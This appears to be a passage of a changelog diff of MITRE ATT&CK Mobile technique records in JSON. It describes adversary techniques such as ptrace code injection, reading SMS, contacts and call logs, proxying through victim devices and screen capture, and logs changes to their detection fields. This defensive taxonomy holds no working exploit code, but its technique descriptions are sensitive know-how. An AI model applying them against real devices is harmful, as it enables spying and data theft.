"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:28.244000+00:00\", \"old_value\": \"2025-04-16 21:21:45.337000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can typically detect rooted devices, which is an indication that Process Discovery is possible. Application vetting could potentially detect when applications attempt to abuse root access or root the system itself. Further, application vetting services could look for attempted usage of legacy process discovery mechanisms, such as the usage of `ps` or inspection of the `/proc` directory.\"}}}", + "previous_version": "2.1", + "changelog_mitigations": { + "shared": [ + "M1002: Attestation", + "M1006: Use Recent OS Version" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0692: Detection of Process Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b7c0e45f-0206-4f75-96e7-fe7edad3aaff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 18:50:43.393000+00:00", + "modified": "2025-10-24 17:49:16.232000+00:00", + "name": "Process Injection", + "description": "Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nBoth Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1631", + "external_id": "T1631" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.232000+00:00\", \"old_value\": \"2025-04-16 21:21:54.246000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for misuse of dynamic libraries.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0632: Detection of Process Injection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1ff89c1b-7615-4fe8-b9cb-63aaf52e6dee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:05:17.048000+00:00", + "modified": "2025-10-24 17:48:30.394000+00:00", + "name": "Ptrace System Calls", + "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (e.g., by using `malloc`) then invoking that memory with `PTRACE_SETREGS` to set the register containing the next instruction to execute. Ptrace system call injection can also be done with `PTRACE_POKETEXT`/`PTRACE_POKEDATA`, which copy data to a specific address in the target process's memory (e.g., the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible when targeting processes with high-privileges, and on some systems those that are non-child processes.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1631/001", + "external_id": "T1631.001" + }, + { + "source_name": "BH Linux Inject", + "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.", + "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf" + }, + { + "source_name": "Medium Ptrace JUL 2018", + "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.", + "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be" + }, + { + "source_name": "PTRACE man", + "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.", + "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:30.394000+00:00\", \"old_value\": \"2025-04-16 21:21:45.841000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for misuse of dynamic libraries.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0622: Detection of Ptrace System Calls" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--11c2c2b7-1fd4-408f-bc2e-fe772ef9df5e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 12:36:41.507000+00:00", + "modified": "2025-10-24 17:48:25.642000+00:00", + "name": "Protected User Data", + "description": "Adversaries may utilize standard operating system APIs to collect data from permission-backed data stores on a device, such as the calendar or contact list. These permissions need to be declared ahead of time. On Android, they must be included in the application\u2019s manifest. On iOS, they must be included in the application\u2019s `Info.plist` file. \n\n \n\nIn almost all cases, the user is required to grant access to the data store that the application is trying to access. In recent OS versions, vendors have introduced additional privacy controls for users, such as the ability to grant permission to an application only while the application is being actively used by the user. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Protected User Data](https://attack.mitre.org/techniques/T1636) without the user\u2019s knowledge or approval. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1636", + "external_id": "T1636" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html", + "external_id": "APP-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.642000+00:00\", \"old_value\": \"2025-04-16 21:21:44.829000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view permissions granted to an application in device settings. Application vetting services typically flag permissions requested by an application, which can be reviewed by an administrator. Certain dangerous permissions, such as `RECEIVE_SMS`, could receive additional scrutiny.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0681: Detection of Protected User Data" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a9fa0d30-a8ff-45bf-922e-7720da0b7922", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 12:48:27.021000+00:00", + "modified": "2025-10-24 17:49:12.650000+00:00", + "name": "Calendar Entries", + "description": "Adversaries may utilize standard operating system APIs to gather calendar entry data. On Android, this can be accomplished using the Calendar Content Provider. On iOS, this can be accomplished using the `EventKit` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [Calendar Entries](https://attack.mitre.org/techniques/T1636/001) without the user\u2019s knowledge or approval. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1636/001", + "external_id": "T1636.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html", + "external_id": "APP-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.650000+00:00\", \"old_value\": \"2025-04-16 21:21:53.420000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On both Android and iOS, the user can manage which applications have permission to access calendar information through the device settings screen, revoke the permission if necessary. Application vetting services could look for `android.permission.READ_CALENDAR` or `android.permission.WRITE_CALENDAR` in an Android application\\u2019s manifest, or `NSCalendarsUsageDescription` in an iOS application\\u2019s `Info.plist` file. Most applications do not need calendar access, so extra scrutiny could be applied to those that request it. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0674: Detection of Calendar Entries" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--1d1b1558-c833-482e-aabb-d07ef6eae63d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 13:12:23.522000+00:00", + "modified": "2025-10-24 17:48:29.311000+00:00", + "name": "Call Log", + "description": "Adversaries may utilize standard operating system APIs to gather call log data. On Android, this can be accomplished using the Call Log Content Provider. iOS provides no standard API to access the call log. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Call Log](https://attack.mitre.org/techniques/T1636/002) without the user\u2019s knowledge or approval. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1636/002", + "external_id": "T1636.002" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html", + "external_id": "APP-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:29.311000+00:00\", \"old_value\": \"2025-04-16 21:21:45.503000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, the user can manage which applications have permission to access the call log through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CALL_LOG` in an Android application\\u2019s manifest. Most applications do not need call log access, so extra scrutiny could be applied to those that request it. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0602: Detection of Call Log" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e0b9ecb8-a7d1-43c7-aa30-8e19c6a92c86", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 13:17:52.740000+00:00", + "modified": "2025-10-24 17:49:30.430000+00:00", + "name": "Contact List", + "description": "Adversaries may utilize standard operating system APIs to gather contact list data. On Android, this can be accomplished using the Contacts Content Provider. On iOS, this can be accomplished using the `Contacts` framework. \n\n \n\nIf the device has been jailbroken or rooted, an adversary may be able to access the [Contact List](https://attack.mitre.org/techniques/T1636/003) without the user\u2019s knowledge or approval. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1636/003", + "external_id": "T1636.003" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html", + "external_id": "APP-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.430000+00:00\", \"old_value\": \"2025-04-16 21:21:57.342000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On both Android and iOS, the user can manage which applications have permission to access the contact list through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_CONTACTS` in an Android application\\u2019s manifest, or `NSContactsUsageDescription` in an iOS application\\u2019s `Info.plist` file. Most applications do not need contact list access, so extra scrutiny could be applied to those that request it.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0679: Detection of Contact List" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c6421411-ae61-42bb-9098-73fddb315002", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-01 13:25:30.923000+00:00", + "modified": "2025-10-24 17:49:22.003000+00:00", + "name": "SMS Messages", + "description": "Adversaries may utilize standard operating system APIs to gather SMS messages. On Android, this can be accomplished using the SMS Content Provider. iOS provides no standard API to access SMS messages. \n\nIf the device has been jailbroken or rooted, an adversary may be able to access [SMS Messages](https://attack.mitre.org/techniques/T1636/004) without the user\u2019s knowledge or approval. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1636/004", + "external_id": "T1636.004" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-13.html", + "external_id": "APP-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:22.003000+00:00\", \"old_value\": \"2025-04-16 21:21:54.890000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, the user can manage which applications have permission to access SMS messages through the device settings screen, revoking the permission if necessary. Application vetting services could look for `android.permission.READ_SMS` in an Android application\\u2019s manifest. Most applications do not need access to SMS messages, so extra scrutiny could be applied to those that request it. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0686: Detection of SMS Messages" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5ca3c7ec-55b2-4587-9376-cf6c96f8047a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-11-30 14:26:07.728000+00:00", + "modified": "2025-10-24 17:48:50.301000+00:00", + "name": "Proxy Through Victim", + "description": "Adversaries may use a compromised device as a proxy server to the Internet. By utilizing a proxy, adversaries hide the true IP address of their C2 server and associated infrastructure from the destination of the network traffic. This masquerades an adversary\u2019s traffic as legitimate traffic originating from the compromised device, which can evade IP-based restrictions and alerts on certain services, such as bank accounts and social media websites.(Citation: Threat Fabric Exobot)\n\nThe most common type of proxy is a SOCKS proxy. It can typically be implemented using standard OS-level APIs and 3rd party libraries with no indication to the user. On Android, adversaries can use the `Proxy` API to programmatically establish a SOCKS proxy connection, or lower-level APIs to interact directly with raw sockets.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1604", + "external_id": "T1604" + }, + { + "source_name": "Threat Fabric Exobot", + "description": "Threat Fabric. (2017, February). Exobot - Android banking Trojan on the rise. Retrieved October 29, 2020.", + "url": "https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.301000+00:00\", \"old_value\": \"2025-04-16 21:21:49.548000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Enterprises may be able to detect anomalous traffic originating from mobile devices, which could indicate compromise.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0631: Detection of Proxy Through Victim" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b327a9c0-e709-495c-aa6e-00b042136e2b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-09-11 15:14:33.730000+00:00", + "modified": "2025-10-24 17:49:15.008000+00:00", + "name": "SMS Control", + "description": "Adversaries may delete, alter, or send SMS messages without user authorization. This could be used to hide C2 SMS messages, spread malware, or various external effects.\n\nThis can be accomplished by requesting the `RECEIVE_SMS` or `SEND_SMS` permissions depending on what the malware is attempting to do. If the app is set as the default SMS handler on the device, the `SMS_DELIVER` broadcast intent can be registered, which allows the app to write to the SMS content provider. The content provider directly modifies the messaging database on the device, which could allow malicious applications with this ability to insert, modify, or delete arbitrary messages on the device.(Citation: SMS KitKat)(Citation: Android SmsProvider)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1582", + "external_id": "T1582" + }, + { + "source_name": "Android SmsProvider", + "description": "Google. (n.d.). SmsProvider.java. Retrieved September 11, 2020.", + "url": "https://android.googlesource.com/platform/packages/providers/TelephonyProvider/+/7e7c274/src/com/android/providers/telephony/SmsProvider.java" + }, + { + "source_name": "SMS KitKat", + "description": "S.Main, D. Braun. (2013, October 14). Getting Your SMS Apps Ready for KitKat. Retrieved September 11, 2020.", + "url": "https://android-developers.googleblog.com/2013/10/getting-your-sms-apps-ready-for-kitkat.html" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html", + "external_id": "APP-16" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-41.html", + "external_id": "CEL-41" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.008000+00:00\", \"old_value\": \"2025-04-16 21:21:54.090000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view the default SMS handler in system settings.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0599: Detection of SMS Control" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--00290ac5-551e-44aa-bbd8-c4b913488a6d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-11-04 16:43:31.619000+00:00", + "modified": "2025-10-24 17:48:18.936000+00:00", + "name": "Scheduled Task/Job", + "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval.\n\nOn Android, the `WorkManager` API allows asynchronous tasks to be scheduled with the system. `WorkManager` was introduced to unify task scheduling on Android, using `JobScheduler`, `GcmNetworkManager`, and `AlarmManager` internally. `WorkManager` offers a lot of flexibility for scheduling, including periodically, one time, or constraint-based (e.g. only when the device is charging).(Citation: Android WorkManager)\n\nOn iOS, the `NSBackgroundActivityScheduler` API allows asynchronous tasks to be scheduled with the system. The tasks can be scheduled to be repeating or non-repeating, however, the system chooses when the tasks will be executed. The app can choose the interval for repeating tasks, or the delay between scheduling and execution for one-time tasks.(Citation: Apple NSBackgroundActivityScheduler)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1603", + "external_id": "T1603" + }, + { + "source_name": "Apple NSBackgroundActivityScheduler", + "description": "Apple. (n.d.). NSBackgroundActivityScheduler. Retrieved November 4, 2020.", + "url": "https://developer.apple.com/documentation/foundation/nsbackgroundactivityscheduler" + }, + { + "source_name": "Android WorkManager", + "description": "Google. (n.d.). Schedule tasks with WorkManager. Retrieved November 4, 2020.", + "url": "https://developer.android.com/topic/libraries/architecture/workmanager" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Lorin Wu, Trend Micro" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:18.936000+00:00\", \"old_value\": \"2025-04-25 15:16:26.617000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Scheduling tasks/jobs can be difficult to detect, and therefore enterprises may be better served focusing on detection at other stages of adversarial behavior.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0707: Detection of Scheduled Task/Job" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--73c26732-6422-4081-8b63-6d0ae93d449e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-08-08 18:34:14.178000+00:00", + "modified": "2025-10-24 17:48:57.610000+00:00", + "name": "Screen Capture", + "description": "Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1513", + "external_id": "T1513" + }, + { + "source_name": "Android ScreenCap2 2019", + "description": "Android Developers. (n.d.). Android Debug Bridge (adb). Retrieved August 8, 2019.", + "url": "https://developer.android.com/studio/command-line/adb" + }, + { + "source_name": "Android ScreenCap1 2019", + "description": "Android Developers. (n.d.). Android MediaProjectionManager. 